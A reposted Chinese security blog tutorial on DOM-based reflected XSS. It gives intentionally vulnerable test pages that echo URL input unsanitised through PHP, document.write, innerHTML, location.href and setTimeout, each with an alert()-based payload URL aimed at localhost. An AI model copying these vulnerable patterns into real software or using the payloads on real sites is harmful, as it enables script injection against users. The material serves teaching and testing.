技术笔记

几种典型的基于DOM的反射型XSS利用方式

字号+ 作者:雪花 来源:转载 2016-11-27 15:07 我要评论( )

1.直接输出(不属于dom) 对用户提交的数据并未经过处理,若提交的数据有恶意代码,将会被浏览器解析执行 测试代码: !DOCTYPE html html head meta charset = utf......

1.直接输出(不属于dom)
对用户提交的数据并未经过处理,若提交的数据有恶意代码,将会被浏览器解析执行
测试代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<?php $url=$_GET['url']; echo $url; ?>
</body>
</html>

以上代码在获取了get中的url后未经处理直接数据,如果提交的数据存在恶意代码将会被浏览器解析
几种典型的基于DOM的反射型XSS利用方式 - sn0w - 雪花 - sn0w
 
2.使用document.write造成XSS
使用document.write直接输出导致浏览器解析恶意代码
测试代码:

<!DOCTYPE html>
<html> 
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } document.write("url: <a href='"+url+"'>"+url+"</a>"); //输出 </script>
</head> 
<body>
</body>
</html>

 
通过代码分析我们可以看出,我们只需要  '  即可闭合href,最后构建exp 
http://127.0.0.1/xsstest1.php?url='<script>alert('xsstest')</script>
几种典型的基于DOM的反射型XSS利用方式 - sn0w - 雪花 - sn0w
 
3.使用innerHTML造成的XSS
使用innerHTML直接输出导致浏览器解析恶意代码
测试代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } </script>
</head>
<body>
<span id='test'><a href=""></a></span>
<script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href='"+url+"'>"+url+"</a>"; </script>
</body>
</html>

 
根据代码构建exp

http://127.0.0.1/xsstest1.php?url='><img src="x" onerror="alert('xsstest')"></img>

http://127.0.0.1/xsstest1.php?url='><script>alert('xsstest')</script> 【待定】

几种典型的基于DOM的反射型XSS利用方式 - sn0w - 雪花 - sn0w
 
 
4.使用location/location.href/location.replace/iframe.src造成的XSS
测试代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 // }else{ //此处注释掉 // url="url参数为空"; //此处注释掉 } </script>
</head>
<body>
<span id='test'><a href=""></a></span>
<script type="text/javascript">location.href=url</script>
</body>
</html>

 
exp

http://127.0.0.1/xsstest1.php?url=javascript:alert('xsstest')

几种典型的基于DOM的反射型XSS利用方式 - sn0w - 雪花 - sn0w
 5.使用setTimeout/setInterval造成的XSS
测试代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } </script>
</head>
<body>
<textarea id="test" rows="8" cols="40">2s获取url</textarea> <script type="text/javascript"> function showURL(url){ document.getElementById('test').value=url; } if(url!="url参数为空") setTimeout("showURL('"+url+"')",2000); //setInterval("showURL('"+url+"')",3000); </script>
</body>
</html>

首先通过')闭合,然后分号换行 ,alert('xsstest')是利用代码,然后在一个分号换行,在通过eval()执行下边的代码 最后构建exp

http://127.0.0.1/xsstest1.php?url=');alert('xsstest');eval('

 

此时setTimeout内的代码为

 

setTimeout("showURL('"');

alert('xsstest');

eval('+url+"')",2000);

 

 
几种典型的基于DOM的反射型XSS利用方式 - sn0w - 雪花 - sn0w
 
 
 
使用eval造成的XSS等待补充
 

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/323.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • xss字符过大多waf思路

    xss字符过大多waf思路

    2017-04-18 08:42

  • XSS构造剖析

    XSS构造剖析

    2016-12-19 14:31

  • XSS后门的使用及隐藏

    XSS后门的使用及隐藏

    2016-12-18 14:38

  • XSS Phishing (XSS钓鱼)

    XSS Phishing (XSS钓鱼)

    2016-11-27 16:24

网友点评
暂时未开启评论功能~